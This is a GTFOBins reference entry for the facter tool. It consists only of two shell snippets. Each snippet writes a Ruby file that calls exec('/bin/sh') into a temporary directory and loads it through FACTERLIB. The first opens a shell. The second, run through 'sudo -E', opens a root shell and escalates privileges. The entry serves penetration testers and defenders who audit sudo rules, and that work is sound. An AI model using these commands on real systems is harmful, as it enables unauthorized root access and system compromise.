GTFOBins.github.io/_gtfobins/facter.md
2018-10-05 18:55:38 +01:00

14 lines
262 B
Markdown

---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF facter
sudo:
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF sudo -E facter
---